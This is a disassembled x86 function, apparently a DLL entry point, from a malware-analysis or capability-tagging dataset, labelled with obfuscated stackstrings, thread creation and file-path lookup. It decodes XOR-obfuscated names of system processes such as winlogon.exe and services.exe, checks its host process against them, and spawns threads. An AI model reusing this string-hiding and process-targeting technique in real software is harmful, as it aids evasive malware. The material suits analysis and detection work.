Function at 0x1000ddd2
Capabilities:
Contain obfuscated stackstrings
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x398
cmp dword [ebp + 0xc], 1
jne 0x1000e3f2
mov eax, dword [ebp + 8]
mov dword [0x10025650], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x270], ecx
cmp dword [ebp - 0x270], 0
je 0x1000de2e
push 1
mov edx, dword [ebp - 0x270]
push edx
call dword [sym.imp.KERNEL32.DLL_IsBadReadPtr]
test eax, eax
jne 0x1000de2e
mov eax, dword [ebp - 0x270]
mov ecx, dword [eax]
mov dword [0x100256e4], ecx
mov edx, dword [ebp - 0x270]
mov eax, dword [edx + 4]
mov dword [0x100256e0], eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.DLL_DisableThreadLibraryCalls]
mov dword [0x1002567c], 0
mov byte [ebp - 0x18], 1
push 0x104
lea edx, [ebp - 0x374]
push edx
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
movsx ecx, byte [ebp - 0x11c]
cmp ecx, 0x5c
jne 0x1000de86
lea edx, [ebp - 0x118]
mov dword [ebp - 0x120], edx
jmp 0x1000de92
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x120], eax
mov byte [ebp - 0x388], 0
mov byte [ebp - 0x387], 0
mov byte [ebp - 0x386], 0xe
mov byte [ebp - 0x385], 0
mov byte [ebp - 0x384], 0xad
mov byte [ebp - 0x383], 0x86
mov byte [ebp - 0x382], 0x98
mov byte [ebp - 0x381], 0x9f
mov byte [ebp - 0x380], 0x9d
mov byte [ebp - 0x37f], 0x9e
mov byte [ebp - 0x37e], 0x96
mov byte [ebp - 0x37d], 0x9e
mov byte [ebp - 0x37c], 0x9f
mov byte [ebp - 0x37b], 0xdf
mov byte [ebp - 0x37a], 0x94
mov byte [ebp - 0x379], 0x89
mov byte [ebp - 0x378], 0x94
mov byte [ebp - 0x377], 0xf1
lea ecx, [ebp - 0x374]
push ecx
lea edx, [ebp - 0x238]
push edx
call fcn.10012870
add esp, 8
lea eax, [ebp - 0x388]
push eax
call fcn.10001709
add esp, 4
push eax
lea ecx, [ebp - 0x238]
push ecx
call fcn.10012880
add esp, 8
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.1001a2d0
add esp, 8
test eax, eax
jne 0x1000df63
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x14], 0
mov byte [ebp - 0x13], 0
mov byte [ebp - 0x12], 0xa4
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x10], 7
mov byte [ebp - 0xf], 0x28
mov byte [ebp - 0xe], 0x3e
mov byte [ebp - 0xd], 0x29
mov byte [ebp - 0xc], 0x2d
mov byte [ebp - 0xb], 0x32
mov byte [ebp - 0xa], 0x38
mov byte [ebp - 9], 0x3e
mov byte [ebp - 8], 0x28
mov byte [ebp - 7], 0x75
mov byte [ebp - 6], 0x3e
mov byte [ebp - 5], 0x23
mov byte [ebp - 4], 0x3e
mov byte [ebp - 3], 0x5b
lea ecx, [ebp - 0x374]
push ecx
lea edx, [ebp - 0x238]
push edx
call fcn.10012870
add esp, 8
lea eax, [ebp - 0x14]
push eax
call fcn.10001709
add esp, 4
push eax
lea ecx, [ebp - 0x238]
push ecx
call fcn.10012880
add esp, 8
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.1001a2d0
add esp, 8
test eax, eax
jne 0x1000dffb
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x25c], 0
mov byte [ebp - 0x25b], 0
mov byte [ebp - 0x25a], 0xf6
mov byte [ebp - 0x259], 0
mov byte [ebp - 0x258], 0x55
mov byte [ebp - 0x257], 0x65
mov byte [ebp - 0x256], 0x7a
mov byte [ebp - 0x255], 0x68
mov byte [ebp - 0x254], 0x7a
mov byte [ebp - 0x253], 0x7a
mov byte [ebp - 0x252], 0x27
mov byte [ebp - 0x251], 0x6c
mov byte [ebp - 0x250], 0x71
mov byte [ebp - 0x24f], 0x6c
mov byte [ebp - 0x24e], 9
lea ecx, [ebp - 0x374]
push ecx
lea edx, [ebp - 0x238]
push edx
call fcn.10012870
add esp, 8
lea eax, [ebp - 0x25c]
push eax
call fcn.10001709
add esp, 4
push eax
lea ecx, [ebp - 0x238]
push ecx
call fcn.10012880
add esp, 8
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.1001a2d0
add esp, 8
test eax, eax
jne 0x1000e0b7
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x398], 0
mov byte [ebp - 0x397], 0
mov byte [ebp - 0x396], 0x59
mov byte [ebp - 0x395], 0
mov byte [ebp - 0x394], 0xfa
mov byte [ebp - 0x393], 0xc5
mov byte [ebp - 0x392], 0xd5
mov byte [ebp - 0x391], 0xd4
mov byte [ebp - 0x390], 0xd5
mov byte [ebp - 0x38f], 0xd5
mov byte [ebp - 0x38e], 0x88
mov byte [ebp - 0x38d], 0xc3
mov byte [ebp - 0x38c], 0xde
mov byte [ebp - 0x38b], 0xc3
mov byte [ebp - 0x38a], 0xa6
lea ecx, [ebp - 0x374]
push ecx
lea edx, [ebp - 0x238]
push edx
call fcn.10012870
add esp, 8
lea eax, [ebp - 0x398]
push eax
call fcn.10001709
add esp, 4
push eax
lea ecx, [ebp - 0x238]
push ecx
call fcn.10012880
add esp, 8
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.1001a2d0
add esp, 8
test eax, eax
jne 0x1000e173
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x26c], 0
mov byte [ebp - 0x26b], 0
mov byte [ebp - 0x26a], 0xdc
mov byte [ebp - 0x269], 0
mov byte [ebp - 0x268], 0x7f
mov byte [ebp - 0x267], 0x50
mov byte [ebp - 0x266], 0x4e
mov byte [ebp - 0x265], 0x50
mov byte [ebp - 0x264], 0x50
mov byte [ebp - 0x263], 0xd
mov byte [ebp - 0x262], 0x46
mov byte [ebp - 0x261], 0x5b
mov byte [ebp - 0x260], 0x46
mov byte [ebp - 0x25f], 0x23
lea ecx, [ebp - 0x374]
push ecx
lea edx, [ebp - 0x238]
push edx
call fcn.10012870
add esp, 8
lea eax, [ebp - 0x26c]
push eax
call fcn.10001709
add esp, 4
push eax
lea ecx, [ebp - 0x238]
push ecx
call fcn.10012880
add esp, 8
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.1001a2d0
add esp, 8
test eax, eax
jne 0x1000e228
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x24c], 0
mov byte [ebp - 0x24b], 0
mov byte [ebp - 0x24a], 0x45
mov byte [ebp - 0x249], 0
mov byte [ebp - 0x248], 0xe6
mov byte [ebp - 0x247], 0xc9
mov byte [ebp - 0x246], 0xcc
mov byte [ebp - 0x245], 0xd9
mov byte [ebp - 0x244], 0xd2
mov byte [ebp - 0x243], 0xd5
mov byte [ebp - 0x242], 0xc9
mov byte [ebp - 0x241], 0xce
mov byte [ebp - 0x240], 0x94
mov byte [ebp - 0x23f], 0xdf
mov byte [ebp - 0x23e], 0xc2
mov byte [ebp - 0x23d], 0xdf
mov byte [ebp - 0x23c], 0xba
lea ecx, [ebp - 0x374]
push ecx
lea edx, [ebp - 0x238]
push edx
call fcn.10012870
add esp, 8
lea eax, [ebp - 0x24c]
push eax
call fcn.10001709
add esp, 4
push eax
lea ecx, [ebp - 0x238]
push ecx
call fcn.10012880
add esp, 8
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.1001a2d0
add esp, 8
test eax, eax
jne 0x1000e2f2
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x134], 0
mov byte [ebp - 0x133], 0
mov byte [ebp - 0x132], 0x94
mov byte [ebp - 0x131], 0
mov byte [ebp - 0x130], 0x37
mov byte [ebp - 0x12f], 0x1e
mov byte [ebp - 0x12e], 0x18
mov byte [ebp - 0x12d], 0xe
mov byte [ebp - 0x12c], 0x19
mov byte [ebp - 0x12b], 2
mov byte [ebp - 0x12a], 5
mov byte [ebp - 0x129], 2
mov byte [ebp - 0x128], 0x1f
mov byte [ebp - 0x127], 0x45
mov byte [ebp - 0x126], 0xe
mov byte [ebp - 0x125], 0x13
mov byte [ebp - 0x124], 0xe
mov byte [ebp - 0x123], 0x6b
lea ecx, [ebp - 0x374]
push ecx
lea edx, [ebp - 0x238]
push edx
call fcn.10012870
add esp, 8
lea eax, [ebp - 0x134]
push eax
call fcn.10001709
add esp, 4
push eax
lea ecx, [ebp - 0x238]
push ecx
call fcn.10012880
add esp, 8
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x120]
push eax
call fcn.1001a2d0
add esp, 8
test eax, eax
jne 0x1000e3c3
mov byte [ebp - 0x18], 0
mov ecx, dword [ebp - 0x18]
and ecx, 0xff
test ecx, ecx
je 0x1000e3f2
push 0
push 0
push 0x1000c842
call fcn.10011d5c
add esp, 0xc
push 0
push 0
push 0x1000db01
call fcn.10011d5c
add esp, 0xc
mov eax, 1
mov esp, ebp
pop ebp
ret 0xc